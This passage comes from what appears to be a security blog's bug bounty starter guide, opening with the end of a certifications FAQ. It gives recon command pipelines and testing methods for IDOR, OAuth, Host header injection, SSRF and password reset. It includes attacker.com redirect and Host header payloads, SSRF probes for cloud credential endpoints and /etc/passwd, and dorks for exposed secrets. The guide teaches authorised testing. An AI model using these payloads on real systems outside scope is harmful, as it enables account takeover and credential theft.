exam. If you want to *prove* you can do AI-security work rather than just talk about it, this is the closest fit today. The honest framing: AI-security is a fast-growing, well-paid specialization, but it rewards the same thing the rest of this guide does. Stack one of these credentials on top of demonstrable, hands-on work (a public write-up of an LLM red-team exercise, a hardened deployment you can walk through) and you'll be far ahead of someone who only collected the badge. ## FAQ **What is the best cybersecurity certification for beginners in 2026?** CompTIA Security+ (SY0-701) is the most widely recognized entry-level certification, roughly $425, vendor-neutral, and it clears HR filters including the US DoD baseline. For true outsiders, the Google Cybersecurity Certificate (~$49/month) is a gentler on-ramp first, not a replacement. **Is the OSCP still worth it in 2026?** Yes for offensive roles, with caveats. OSCP (from ~$1,749) is still the most brand-recognized hands-on pentest cert and still named in many job postings. But Hack The Box's CPTS delivers comparable practical rigor for a fraction of the cost. Get OSCP if an employer demands it; otherwise CPTS is the smarter buy. **Should I get CISSP early in my career?** No. CISSP ($749 exam, plus a $135/year maintenance fee) requires five years of relevant experience and is a management/governance exam, not a hands-on one. You can pass early as an Associate of ISC2, but it's the wrong first cert for technical roles. **TryHackMe or Hack The Box, which should I pay for?** TryHackMe (~$17/month) to learn from zero; Hack The Box Academy + CPTS (~$490/year with the exam voucher included, or ~$8/month for students; standalone CPTS exam ~$210) to prove practical skill. Many people use both, THM to learn, HTB to prove it. **Are cybersecurity certifications worth the money?** They're worth it when they unblock a hiring filter, clearance, or employer requirement: not because they teach you to hack. Spend on cheap hands-on platforms first; buy the expensive certs when a concrete door requires them. **What does it really cost once retakes and fees are included?** Budget above the sticker. Security+ ~$425/attempt ($700, $1,000 realistic). CISSP $749 + $135/year maintenance ($900, $2,500 all-in). OSCP from $1,749 with ~$249 retakes. SANS/GIAC ~$8,000+ per course (~$999 for the exam alone). Read the retake and renewal policy before buying. **Do I need a degree, or are certifications enough?** Certifications plus a demonstrable portfolio are enough to break into many roles without a degree. Degrees help with some filters and management tracks, but in practical work, what you can demonstrate beats a transcript. See [how to become an ethical hacker](/how-to-become-ethical-hacker). **Which certification is the most overrated?** Any cert bought before you have fundamentals, chasing CISSP without the experience, or OSCP before you can solve easy boxes. The most overrated is whichever one you buy to skip the work rather than to certify work you've already done. **Are cybersecurity certifications still worth it in the age of AI?** Yes (for the right ones) but the landscape has shifted. AI didn't kill certifications; it raised the bar on what counts as proof, so employers now want a credential plus demonstrated hands-on work, and they pay a premium for AI-plus-security skill combos. The fastest-growing slice is AI-security itself, where emerging options include **CompTIA SecAI+** (vendor-neutral AI-security skills), **Microsoft SC-500** (cloud and AI-security engineering), and the lab-based **Certified AI Security Professional (CAISP)** for hands-on LLM-pipeline security. Pick the one that matches your target role, and back it with work you can actually demonstrate. ## Related guides - [How AI Is Changing Cybersecurity](/ai-in-cybersecurity) - [AI Prompt Injection Attacks Explained](/ai-prompt-injection-attacks) - [OWASP Top 10 Explained with Examples](/owasp-top-10-explained) - [OSINT Reconnaissance: Tools and Techniques](/osint-reconnaissance-guide) - [SQL Injection Explained](/sql-injection-explained) ### Sources - CompTIA Security+ (SY0-701) Certification (CompTIA): https://www.comptia.org/certifications/security - ISC2 Exam Pricing (CISSP $749) (ISC2): https://www.isc2.org/register-for-exam/isc2-exam-pricing - OffSec PEN-200 / OSCP Course & Pricing (OffSec): https://www.offsec.com/courses/pen-200/ - OffSec Individual Pricing (OffSec): https://www.offsec.com/pricing/individual/ - INE eJPT Certification (INE Security): https://ine.com/security/certifications/ejpt-certification - Google Cybersecurity Professional Certificate (Coursera / Google): https://www.coursera.org/professional-certificates/google-cybersecurity - TryHackMe Pricing (TryHackMe): https://tryhackme.com/pricing - HTB Certified Penetration Testing Specialist (CPTS) (Hack The Box): https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist - GIAC Certification Pricing and Fees (GIAC / SANS): https://www.giac.org/pricing - ISC2 CISSP Certification Overview (ISC2): https://www.isc2.org/certifications/cissp --- ## Bug Bounty Hunting: Getting Started > A practical guide to bug bounty hunting, platforms, recon methodology, essential tools, writing reports that get paid, and what to realistically expect. - URL: https://blog.pwnsy.com/bug-bounty-getting-started - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: intermediate - Category: bug-bounty - Tags: bug-bounty, pentesting, reconnaissance, ethical-hacking, web-security - Related: [Best Cybersecurity Certifications & Courses in 2026](https://blog.pwnsy.com/best-cybersecurity-certifications), [Input Validation Best Practices: Allowlists, Canonicalization & Encoding](https://blog.pwnsy.com/input-validation-guide), [API Rate Limiting Explained: Algorithms, Keys, and 429s](https://blog.pwnsy.com/rate-limiting-explained) ### TL;DR - Program selection is the highest-leverage decision: target wildcard-scope programs that pay for medium and low severities, not the most popular targets where every easy bug was found years ago. - Effective bug bounty hunting is 70% recon: automate subdomain enumeration, live host probing, and nuclei scans so you can focus on the manual analysis that finds money. - IDOR is the recommended starting vulnerability class for beginners because it requires no special tools, has a learnable methodology, and produces consistent payouts. - A valid vulnerability with a bad report gets triaged as low or duplicate. The report is the product: include clear reproduction steps, demonstrated impact, and a justified CVSS score. ### Key Takeaways - HackerOne's signal score tracks your valid-to-invalid report ratio and directly controls your access to private programs, so never submit unless you have high confidence in validity. - Private programs have less competition, broader scope, faster response times, and higher payouts than public programs, but require a track record of valid public submissions to access. - JavaScript bundles are a goldmine for API endpoints, internal hostnames, authentication logic, hardcoded secrets, and access control checks that automated scanners miss. - Out-of-scope testing can result in permanent platform bans and legal exposure under the CFAA, CMA, and equivalent statutes; safe harbor only applies when you stay within scope. - Top earners specialize narrowly in one to two vulnerability classes, build proprietary automation, and focus on industry verticals where they understand business logic deeply. ### FAQ **Q: How do I get started with bug bounty hunting?** Start by creating a HackerOne account and spending the first two weeks reading disclosed reports on programs you want to target. Then set up your tools environment, Kali Linux, Burp Suite, Subfinder, httpx, nuclei, ffuf, and katana. In weeks five and six, choose a public program with wildcard scope and run your recon pipeline before attempting any submissions. **Q: How much money can you realistically make from bug bounties?** The median payout per valid finding is $400-$800 for medium severity bugs. Most researchers report 3-6 months before making meaningful income, and those consistently earning $100,000+/year have typically been doing it for 3+ years. Expect to spend 20-40 hours before your first valid finding. **Q: What is IDOR and why is it good for beginners?** IDOR (Insecure Direct Object Reference) is a vulnerability where an API endpoint returns or modifies a resource without verifying the authenticated user owns it. It's recommended for beginners because it requires no special tools, the methodology is learnable with two test accounts, and payouts are consistent across many programs. **Q: What makes a bug bounty report get paid?** A strong report includes a one-line descriptive title, a summary of the vulnerability, a justified CVSS severity score, numbered steps to reproduce that a triager can follow in under five minutes, a demonstrated impact statement with specific data exposed, and a proof-of-concept command or screenshot. Missing steps and overstated severity are the two most common reasons reports are rejected. **Q: Which bug bounty platforms should I use?** Start with HackerOne, which has the largest program count and the most useful learning resource in its Hacktivity feed of disclosed reports. Intigriti is worth running in parallel for European programs with lower competition. Synack offers more predictable income but requires passing a technical vetting process to join. Bug bounty programs exist because finding security vulnerabilities is expensive and difficult at scale. Companies that run mature programs have concluded that paying external researchers to find bugs is cheaper than getting breached. Google's Vulnerability Reward Program has paid out over $50 million since 2010. HackerOne's top earners have made over $2 million each. The 20-year-old who found a critical iOS zero-click vulnerability from his bedroom and received a $300,000 Apple Security Bounty payout is not a myth. Getting there, however, is not what YouTube thumbnails suggest. This is a methodical, technical discipline that requires real skill, patience, and a systematic approach. This guide covers what actually produces results: not the theory, but the workflow, tools, and decision-making process that separates researchers who make money from those who generate a lot of invalid reports. Building your recon and testing toolkit? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com). ## The Platforms: Where Programs Live ### HackerOne The largest bug bounty platform by program count and total payout volume. As of 2025, HackerOne has paid out over $300 million to researchers. The platform has two program types: **Public programs** are open to anyone with a verified HackerOne account. They're more competitive (every researcher with an account has access) but they're also where you learn. The Hacktivity feed shows recently disclosed reports with payout amounts, and disclosed reports from programs you're targeting are the most valuable free learning resource in the industry. **Private programs** are invite-only, extended based on your reputation score and signal (valid report rate). Private programs typically have less competition, broader scope, faster response times, and higher payouts. Getting invited requires building a track record on public programs first. **Signal score** matters. HackerOne tracks the percentage of your reports that are valid vs. invalid/spam/duplicate. A low signal score limits your invitations to private programs. Don't report unless you have high confidence it's valid. ### Bugcrowd Similar model to HackerOne with a heavier enterprise focus. Bugcrowd's triage team handles first-pass validation before reports reach the program, which means slower initial feedback but more consistent responses. Their "VRT" (Vulnerability Rating Taxonomy) provides a standardized severity framework that's useful for calibrating your own severity assessments. Bugcrowd also runs a platform called Pen Testing as a Service (PTAAS), which is closer to structured consulting engagements than open bounty hunting. ### Intigriti Europe-based with a strong mid-market program selection. Scope overlap with HackerOne is relatively low, so running both platforms in parallel is worthwhile. GDPR-compliant programs often appear here first before expanding to US-based platforms. Response times tend to be fast. ### Synack A curated, vetted network. You apply and go through a vetting process (including a technical skills assessment). Synack pays researchers for time in addition to bounties, which provides more predictable income. The downside: it's not open enrollment. Getting in takes demonstrable skill. ### Specialized Platforms **Federacy** and **NCSC coordinated vulnerability disclosure** (Netherlands) cover government and public sector targets. These programs often have the cleanest, least-competed-on scope, and in the Netherlands, an effective legal framework that protects researchers who follow the rules. **HackerOne's "Programs Without Bounties"**, responsible disclosure programs that don't pay. Still worth testing: they build your profile, often lead to Hall of Fame acknowledgments, and the skills transfer to paid programs. Start on HackerOne. Create an account, spend the first two weeks reading disclosed reports on programs you're interested in. The HackerOne Hacktivity feed and individual program disclosure archives are the most concentrated source of "what vulnerabilities actually look like in production" you'll find anywhere. --- ## Target Selection: Where Most Beginners Waste Time Program selection is the highest-leverage decision you make. Choosing the wrong target costs weeks. ### What to Avoid **Programs with very broad scope and zero payout history.** Check the "average bounty" and "reports resolved" stats on the program page. If a program has been live for two years and paid out $0, there's a reason: either the scope is too restrictive in practice, the program doesn't prioritize response, or all the bugs have been found. **Programs with 90+ day response SLAs.** HackerOne displays median time to first response, median time to triage, and median time to bounty. Programs with long response times create dead capital, your vulnerability sits unresolved while you can't disclose it or test similar vectors. **Programs where everything is marked "out of scope" except one endpoint.** This isn't a bug bounty program; it's a performance. Move on. **The top 10 most popular programs.** Google, Facebook, Apple: every researcher on the planet targets them. Every easy vulnerability was found years ago. Finding something valid requires exceptional skill and significant time investment. Not the right starting point. ### What to Target **Programs with wildcard scope** (`*.example.com`, `*.example-company.io`). Wildcards mean more attack surface and more opportunity for something the security team hasn't had time to audit. **Recently launched programs or programs that have significantly expanded scope.** New programs are a gold rush: the first wave of researchers hits them with recon tools and finds things fast. Follow program announcements on HackerOne's blog and Twitter/X. **Programs that pay for medium and low severities.** A program that only pays for critical RCEs is not beginner-friendly. Programs with payout tables covering P3 and P4 findings signal that they want to improve overall security posture, not just avoid catastrophic breaches. **Programs in your area of technical expertise.** If you've worked in fintech, target fintech companies. You understand the business logic, the likely attack surfaces, and what "impact" means to the business. Business logic vulnerabilities require domain knowledge that automated tools can't replace. Check the program's Hacktivity/disclosed reports before spending any time on recon. Understand what vulnerability classes the program accepts, what severity ratings they've assigned to past findings, and what types of findings they've marked as informational or not applicable. This intelligence saves hours of reporting invalid bugs. --- ## Recon Methodology: Building Attack Surface Effective bug bounty hunting is 70% recon and 30% exploitation. The researchers making consistent income aren't spending all their time looking for vulnerabilities: they're spending most of their time finding attack surface that others haven't found yet. ### Subdomain Enumeration ```bash # Passive enumeration — no traffic to target subfinder -d example.com -all -o passive_subs.txt # Amass passive mode — pulls from additional sources amass enum --passive -d example.com -o amass_passive.txt # Certificate Transparency — every cert ever issued for the domain is logged curl -s "https://crt.sh/?q=%.example.com&output=json" | \ jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > ct_subs.txt # Combine all passive sources cat passive_subs.txt amass_passive.txt ct_subs.txt | sort -u > all_passive.txt # Active DNS brute-force (only after confirming scope allows it) puredns bruteforce /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ example.com -r /path/to/resolvers.txt -o brute_subs.txt # Permutation and pattern generation gotator -sub all_passive.txt -perm permutations_list.txt -depth 1 -numbers 5 | \ puredns resolve -r /path/to/resolvers.txt > permuted_subs.txt # Merge everything cat all_passive.txt brute_subs.txt permuted_subs.txt | sort -u > all_subs.txt ``` ### Probing for Live Hosts ```bash # Probe for HTTP/HTTPS on standard and non-standard ports httpx -l all_subs.txt \ -ports 80,443,8080,8443,8888,9000,3000,5000,4000,7000,9090 \ -status-code \ -title \ -tech-detect \ -follow-redirects \ -o live_hosts.txt # Extract just the URLs cat live_hosts.txt | cut -d ' ' -f1 > live_urls.txt ``` ### Content Discovery ```bash # Directory and file discovery on live hosts feroxbuster -u https://app.example.com \ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \ -x php,asp,aspx,jsp,json,txt,bak,old,config,env \ -t 50 \ --depth 3 \ -o ferox_output.txt # ffuf with a status filter ffuf -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt \ -u https://api.example.com/FUZZ \ -mc 200,201,204,301,302,401,403 \ -fc 404 \ -t 40 # Google dorking to find exposed files # site:example.com filetype:env # site:example.com filetype:config # site:example.com inurl:admin # site:example.com "DB_PASSWORD" # site:github.com "example.com" AND "password" ``` ### JavaScript File Analysis JavaScript bundles are a goldmine: API endpoints, internal hostnames, authentication logic, feature flags, hardcoded secrets, and access control checks all live in frontend JavaScript. ```bash # Crawl target and collect all JS files katana -u https://app.example.com -jc -d 5 -o katana_output.txt grep "\.js" katana_output.txt > js_files.txt # Download and extract endpoints from JS files cat js_files.txt | while read url; do curl -s "$url" | grep -oP '(?<=["\x27])/[a-zA-Z0-9_\-/]+(?=["\x27])' | sort -u done | sort -u > js_endpoints.txt # LinkFinder — more sophisticated endpoint extraction python3 linkfinder.py -i https://app.example.com -d -o cli > linkfinder_results.txt # SecretFinder — find credentials in JS python3 SecretFinder.py -i https://app.example.com/main.js -o cli # Looks for: API keys, tokens, passwords, AWS keys, Stripe keys, etc. ``` ### Automated Vulnerability Scanning ```bash # Nuclei — template-based scanner covering thousands of vulnerability classes nuclei -l live_urls.txt \ -t ~/nuclei-templates/ \ -severity medium,high,critical \ -exclude-tags dos,fuzz \ -rate-limit 50 \ -o nuclei_findings.txt # Target specific template categories nuclei -l live_urls.txt -t ~/nuclei-templates/exposed-panels/ -o panels.txt nuclei -l live_urls.txt -t ~/nuclei-templates/default-credentials/ -o default_creds.txt nuclei -l live_urls.txt -t ~/nuclei-templates/cves/ -o cve_findings.txt nuclei -l live_urls.txt -t ~/nuclei-templates/misconfiguration/ -o misconfigs.txt nuclei -l live_urls.txt -t ~/nuclei-templates/technologies/ -o tech_detect.txt # Specifically look for SSRF in webhook/URL-fetching features nuclei -l live_urls.txt -t ~/nuclei-templates/vulnerabilities/generic/ssrf-via-* -o ssrf.txt ``` Nuclei is a commodity tool at this point. Every researcher runs it. The findings it surfaces (exposed admin panels, default credentials, known CVEs) are taken within hours of a program launching. Use nuclei to build an inventory and identify interesting targets, then apply manual analysis to what it surfaces. The money is in the manual work. --- ## Vulnerability Hunting: High-Value Targets ### IDOR (Insecure Direct Object Reference) IDOR is consistently one of the highest-payout bug classes in bug bounty programs because it's difficult to find with automation and requires understanding the application's data model. The pattern: an API endpoint takes an ID parameter (numeric, UUID, or other identifier) and returns or modifies the referenced resource without verifying that the authenticated user owns it. ```bash # Testing methodology for IDOR: # 1. Create two accounts (Account A and Account B) # 2. With Account A: create a resource (order, invoice, message, etc.) # 3. Note the resource ID in the API response # 4. With Account B: attempt to access that resource ID # Using Burp Suite Repeater: # Capture a request as Account A # Change the Authorization/Cookie header to Account B's session # Observe whether Account B receives Account A's data # Automated IDOR testing with a Burp Intruder setup: # - Use Account A to generate 10 resource IDs # - Replace session cookie with Account B's session # - Intruder: Sniper mode, payload positions on the ID parameter # - Payload: list of Account A's resource IDs # - Grep match: Account A's unique identifiers in response ``` **IDOR variants to test:** - GET resource (read), lowest impact, but frequently accepted - PATCH/PUT resource (modify), higher impact - DELETE resource, high impact - GET list endpoint with another user's `userId` parameter - Multi-layer IDOR: get `organizationId` from one endpoint, use it to access another user's org data - UUID-based IDOR: UUIDs are hard to enumerate but can be predicted if created sequentially ### OAuth and Authentication Flow Abuse OAuth implementations frequently contain vulnerabilities that bypass authentication entirely or lead to account takeover. ```bash # redirect_uri manipulation # Original: redirect_uri=https://app.example.com/callback # Attack 1: redirect_uri=https://attacker.com # Attack 2: redirect_uri=https://app.example.com.attacker.com # Attack 3: redirect_uri=https://app.example.com/../attacker.com # Attack 4: redirect_uri=https://app.example.com/callback?x=attacker.com (if open redirect exists) # state parameter CSRF # If state parameter is missing or predictable, the OAuth flow is vulnerable to CSRF # Test: initiate OAuth flow, capture the authorization URL # Visit the URL from a different browser session — does the code still work? # Token leakage in Referer header # If the callback page loads third-party resources, the authorization code in the URL # may leak via the Referer header to those third-party servers # authorization code reuse # After a successful OAuth flow, try reusing the same authorization code # Should fail with "code already used" — if not, it's a finding ``` ### Host Header Injection Many applications use the Host header to construct URLs for password reset emails, OAuth callbacks, and canonical links. A manipulable Host header can redirect password reset tokens to an attacker-controlled domain. ```bash # Test for Host header injection in password reset POST /forgot-password HTTP/1.1 Host: attacker.com Content-Type: application/json {"email": "victim@example.com"} # If the password reset email contains a link to attacker.com, it's a critical finding # The victim clicks a "legitimate-looking" reset link that sends their token to the attacker # Additional Host header tests: # X-Forwarded-Host: attacker.com # X-Host: attacker.com # X-Forwarded-Server: attacker.com # Forwarded: host=attacker.com ``` ### SSRF (Server-Side Request Forgery) Cloud environments make SSRF critical. Any feature that fetches a user-supplied URL is a potential SSRF vector. ```bash # Test webhook URL fields, URL preview features, PDF generation, image import # Basic test payloads: # http://169.254.169.254/latest/meta-data/ (AWS) # http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IAM creds) # http://metadata.google.internal/computeMetadata/v1/ (GCP) # http://169.254.169.254/metadata/v1/ (DigitalOcean) # http://localhost:6379/ (Redis) # http://localhost:9200/ (Elasticsearch) # http://10.0.0.1/ (internal network discovery) # file:///etc/passwd (local file access — if scheme allows) # Use Burp Collaborator or interactsh for blind SSRF detection # If the server makes any DNS or HTTP request to your OAST server, SSRF is confirmed interactsh-client & # Use generated domain in payload: http://your-unique-id.oast.fun/ # Tools # ssrf-sheriff — purpose-built SSRF testing tool # ffuf with SSRF payloads list from PayloadsAllTheThings ``` ### Account Takeover via Password Reset ```bash # Password reset token entropy test # Request 10 reset tokens for the same account # Compare: are they random? Sequential? Time-based? Predictable? # Host header injection (see above) # Response manipulation: does the server validate the token server-side? # 1. Request a password reset for victim@example.com # 2. Intercept the reset request validation # 3. Modify the response: change "valid": false to "valid": true # If this works, the client trusts the server response without server-side enforcement # Token in URL shared via Referer # Complete a password reset # Note if the reset URL contains the token # Check if the reset page loads any third-party resources (analytics, fonts, images) # Burp: look at the Referer header sent to those third-party servers # If the Referer contains the reset token, it was leaked # Weak token format — 6-digit numeric with no rate limiting (Instagram 2019 bug) # If you can make 1,000,000 requests and there's no lockout, all tokens are enumerable ``` --- ## Writing Reports That Get Paid A valid vulnerability with a bad report gets marked informational, triaged as low, or duplicated out. The report is the product. ### Report Structure ````markdown # IDOR on /api/v2/invoices/{id} allows read access to arbitrary user invoices ## Summary An Insecure Direct Object Reference (IDOR) vulnerability on the invoice retrieval endpoint allows any authenticated user to read invoices belonging to other users by manipulating the `id` path parameter. No ownership verification is performed server-side. ## Severity High (CVSS 3.1 score: 7.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) ## Steps to Reproduce 1. Create Account A (attacker@test.com) and Account B (victim@test.com) 2. With Account B, create an invoice. Note the invoice ID returned in the response: `{"id": 10042, "amount": 5000, "status": "pending"}` 3. Log into Account A and capture a valid session token. 4. Send the following request as Account A: GET /api/v2/invoices/10042 HTTP/1.1 Host: app.example.com Authorization: Bearer 5. The server returns Account B's invoice data: {"id": 10042, "userId": "uuid-of-account-b", "amount": 5000, "status": "pending", "recipient": "Client Corp"} ## Impact An authenticated attacker can read the contents of any invoice in the system by iterating the numeric `id` parameter. This exposes invoice amounts, client names, contact information, and payment status for every user. By iterating IDs 1 through N, an attacker can exfiltrate the entire invoice database. Estimated records exposed: [check by requesting /api/v2/invoices/count]. ## Proof of Concept [Attach: screenshot of Burp request/response showing the cross-user data access] [Attach: curl command showing reproduction] curl -s -H "Authorization: Bearer ACCOUNT_A_TOKEN" \ https://app.example.com/api/v2/invoices/10042 | jq .userId # Returns Account B's userId — confirms cross-account access ## Remediation Add an ownership check to the invoice retrieval query: ```sql SELECT * FROM invoices WHERE id = $1 AND user_id = $2 ``` Pass the authenticated user's ID as the second parameter. Return HTTP 403 if no record is found. ## References - OWASP A01:2021 – Broken Access Control - CWE-639: Authorization Bypass Through User-Controlled Key ```` ### Common Report Mistakes **Missing reproduction steps.** The triager should be able to reproduce your finding in under five minutes without asking you anything. If your steps require assumptions or context they don't have, your report stalls. **Overstated severity.** A missing security header rated as Critical, or a rate-limiting gap on a non-sensitive endpoint rated as High, triagers see this constantly. It signals inexperience and damages your credibility. Use CVSS and justify it. If a finding requires significant user interaction or specific conditions, the severity goes down. **No demonstrated impact.** "This could lead to data exposure" is not impact. "An unauthenticated attacker can read all user invoices by iterating the numeric id parameter from 1 to N, exposing names, email addresses, billing addresses, and payment amounts for all X users" is impact. **Reporting missing headers as High/Critical.** Missing `Content-Security-Policy`, `X-Frame-Options`, or `X-Content-Type-Options` without a demonstrated impact gets marked Informational. These findings have value only when combined with an actual exploitation scenario. **Self-XSS.** If the payload only executes in your own session, it's not a valid XSS submission. The attack must affect a different user. **Chasing version numbers.** "The server is running Apache 2.4.49, which is vulnerable to CVE-2021-41773" is only valid if you can demonstrate the actual exploit works in this environment. Version disclosure + CVE ≠ validated finding. --- ## Building a Recon Pipeline Manual recon is slow. Researchers making consistent income have automated the commodity work so they can focus on the manual analysis that differentiates findings. ```bash #!/bin/bash # Simple recon automation script — runs on a new target domain TARGET=$1 OUTPUT_DIR="recon-$TARGET-$(date +%Y%m%d)" mkdir -p "$OUTPUT_DIR" echo "[+] Starting passive subdomain enumeration for $TARGET" subfinder -d "$TARGET" -all -silent -o "$OUTPUT_DIR/subs_passive.txt" amass enum --passive -d "$TARGET" -o "$OUTPUT_DIR/subs_amass.txt" curl -s "https://crt.sh/?q=%.${TARGET}&output=json" | \ jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > "$OUTPUT_DIR/subs_ct.txt" echo "[+] Merging and resolving subdomains" cat "$OUTPUT_DIR"/subs_*.txt | sort -u | \ puredns resolve -r ~/resolvers.txt > "$OUTPUT_DIR/resolved_subs.txt" echo "[+] Probing for live hosts" httpx -l "$OUTPUT_DIR/resolved_subs.txt" \ -ports 80,443,8080,8443,3000,5000 \ -status-code -title -tech-detect \ -o "$OUTPUT_DIR/live_hosts.txt" cat "$OUTPUT_DIR/live_hosts.txt" | cut -d ' ' -f1 > "$OUTPUT_DIR/live_urls.txt" echo "[+] Running nuclei scans" nuclei -l "$OUTPUT_DIR/live_urls.txt" \ -t ~/nuclei-templates/ \ -severity medium,high,critical \ -exclude-tags dos \ -o "$OUTPUT_DIR/nuclei_results.txt" echo "[+] Crawling for endpoints and JS files" katana -list "$OUTPUT_DIR/live_urls.txt" -d 3 -jc -o "$OUTPUT_DIR/katana_output.txt" echo "[+] Done. Results in $OUTPUT_DIR/" ``` Schedule this script to run weekly against your target list. Attack surface changes constantly, new subdomains appear, new features launch, new misconfigurations are introduced. Researchers who recheck targets they've previously tested often find new bugs introduced by updates and deployments. --- ## Realistic Financial Expectations The bug bounty economics are worth being honest about: **Median payout per valid finding:** $400-$800 (P3 Medium severity) **High severity (P2) typical range:** $2,000-$10,000 **Critical severity (P1) typical range:** $5,000-$100,000+ **All-time record payouts (public data):** - Apple Security Research Device Program: $300,000 (iOS zero-click) - Google VRP: $605,000 (combined chain across multiple bugs, 2022) - Samsung Mobile Security: $1,000,000 (theoretical maximum; first claimed in 2023) **Time reality:** Expect to spend 20-40 hours before your first valid finding. Most researchers report 3-6 months before making meaningful income. The researchers consistently earning $100,000+/year have typically been doing this for 3+ years. **What top earners have in common:** - Narrow specialization in 1-2 vulnerability classes where they have deep expertise - Proprietary automation built on top of commodity tools - Focus on specific industry verticals where they understand business logic - Reputation high enough to access premium private programs - Systematic documentation of every target tested and methodology applied The $200/hour fantasy from YouTube is real for a small number of experienced researchers. The realistic starting expectation is closer to minimum wage per hour, until your skill and reputation compound. --- ## Legal and Ethical Boundaries ``` The rules are simple and absolute: 1. Read the program scope before sending a single request to any target 2. Test only assets explicitly listed in scope 3. Do not access, modify, or exfiltrate real user data — stop at proof of concept 4. Report what you find, don't exploit it further 5. If scope is ambiguous, ask before testing ``` Out-of-scope testing gets you permanently banned from the platform and can expose you to legal liability under the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalent statutes in other jurisdictions. Safe harbor language in bug bounty policies only protects you when you stay within scope and follow responsible disclosure rules. A common gray area: you find an asset that looks like it belongs to the target company but isn't explicitly listed in scope. Don't test it. Message the program, ask if it's in scope, and wait for a response. This approach has led to scope expansions and bonus payments for researchers who've found critical bugs on previously out-of-scope assets: the right way. --- ## Getting Started: Week-by-Week **Week 1-2:** Complete PortSwigger Web Security Academy's learning paths for SQL Injection, XSS, CSRF, and Authentication. Do every lab. Understand the mechanics, not just the payloads. If you want a structured credential to anchor this learning, our roundup of [security certs worth getting](/best-cybersecurity-certifications) covers the web-focused options like BSCP. **Week 3-4:** Set up your tools environment, Kali Linux VM, Burp Suite Community, Subfinder, httpx, nuclei, ffuf, katana. Run through the setup guide for each tool. **Week 5-6:** Choose a public program on HackerOne with wildcard scope and medium severity payouts. Run your recon pipeline. Read every disclosed report for that program. Don't submit yet, just learn the target's architecture. **Week 7-8:** Start testing manually. Focus on a single vulnerability class, IDOR is recommended for beginners because it requires no special tools, the methodology is learnable, and the payouts are consistent. Find 20 API endpoints and test every resource parameter for cross-user access. **Week 9+:** Your first report. Make it a clear, technically accurate, well-documented submission. Then iterate. Track every submission, whether valid or not, and analyze what you're missing. The researchers who make it are systematic, patient, and rigorous. They treat it like a craft rather than a lottery. If you approach it the same way, the results follow. ## How Bug Bounty Programs Evolved Paying outsiders to find security flaws predates the modern platform economy. Netscape ran a "Bugs Bounty" for its Navigator browser in 1995, offering cash for vulnerabilities in beta releases. For most of the next decade the practice stayed rare, because companies had no structured way to receive reports, verify them, or pay strangers safely. A researcher who found a flaw often had two poor options. Stay silent, or email a security contact who might respond with a legal threat instead of gratitude. Two shifts changed that. Google and Mozilla launched formal reward programs around 2010 with published scopes, severity tables, and predictable payouts. That signaled to the wider industry that structured disclosure was cheaper than the alternative of being breached. Then HackerOne and Bugcrowd, both founded in 2012, built the plumbing: a place to submit reports, a reputation system, a payment rail, and safe harbor language that gave researchers legal cover. Once the transaction cost of running a program dropped, thousands of companies could participate without building the machinery themselves. The maturation created the current reality. Popular programs are heavily contested, automated recon is a commodity, and the easy findings on well known targets disappear within hours of a scope change. This is why program selection and specialization matter more now than raw tool knowledge. The tools are the same ones everyone has. Your edge comes from where you point them and what you understand that the scanner does not. ## Vulnerability Classes Compared Different bug classes reward different amounts of effort. Some are found by scanners in seconds and are therefore duplicated constantly. Others resist automation and reward patient manual analysis. The table below maps common classes by how easily a scanner finds them, the typical severity band, and how much competition you should expect. | Class | Scanner-findable | Typical severity | Competition | Beginner fit | |---|---|---|---|---| | IDOR / broken access control | Low | Medium to high | Moderate | Strong | | Reflected XSS | Medium | Low to medium | High | Moderate | | Stored XSS | Low | Medium to high | Moderate | Moderate | | SSRF | Low | High to critical | Low | Advanced | | SQL injection | Medium | High to critical | High on old targets | Moderate | | Business logic flaws | Very low | Varies widely | Low | Advanced | | Subdomain takeover | High | Medium | Very high | Strong | | Exposed secrets in JS | Medium | Varies | Moderate | Strong | | Open redirect | High | Low | Very high | Weak payout | Read the pattern from this table. The classes with low scanner-findability and low competition (SSRF, business logic, IDOR) are where sustained income lives, because they require understanding the application instead of running a template. Subdomain takeover and open redirect are trivial to find, which means everyone finds them, which produces duplicates and low payouts. Beginners often start on the easy-to-find classes and grow frustrated by the duplicate rate. Moving one notch harder, into IDOR and access control, usually improves results faster than any new tool. ## What Happens After You Submit Understanding the triage pipeline changes how you write reports. When you submit, the report usually lands with a platform triage analyst or the program's own security team. Their first job is to reproduce your finding. If they cannot reproduce it in a few minutes using only what you provided, the report moves to a "need more information" state, and every hour it sits there is an hour a duplicate can be filed by someone else. Once reproduced, the report gets a state and a severity. Common states include triaged (accepted, awaiting a fix), duplicate (someone reported it first), informational (real but not rewarded), and not applicable (out of scope or not a security issue). Severity is usually assigned with CVSS or the program's own rating. This is where an overstated severity costs you. If you claim critical and the triager downgrades it to medium, you have spent credibility for nothing. Payment timing varies. Some programs pay on triage, before the fix ships. Others pay on resolution, after their engineers deploy a patch, which can take weeks or months. A program's median time-to-bounty statistic, shown on its page, tells you how long your capital will sit locked up. This is a real cost for full-time hunters and a reason to weight fast-paying programs when you depend on the income. Duplicates are the most demoralizing outcome and the least avoidable. If two researchers find the same bug, the first valid submission wins and the second earns nothing, regardless of report quality. This is why speed on a freshly launched or freshly expanded scope matters, and why hunting a well-worn target with commodity tools is a losing strategy. Any bug a public template finds has almost certainly been found already. Keep a personal log of every submission with the program, the vulnerability class, the outcome, and the payout. After thirty submissions the log reveals your real signal ratio and which classes actually pay you, which is far more useful than any generic advice about what pays well across the industry. ## Detection Signals a Program Is Worth Your Time Before committing recon hours, read these signals off the program page. A published payout table that covers P3 and P4 findings, rather than P1 and P2 alone, shows the program values medium and low severities. A median time-to-first-response under a few days means less locked capital and lower duplicate risk. Recent scope additions or a recently raised bounty table point to un-audited surface. A high ratio of resolved reports to submitted reports shows the team acts on findings. Disclosed reports you can read give you free intelligence on what the program accepts and how it rates severity. The inverse signals warn you off. Two years live with zero bounties paid, everything marked 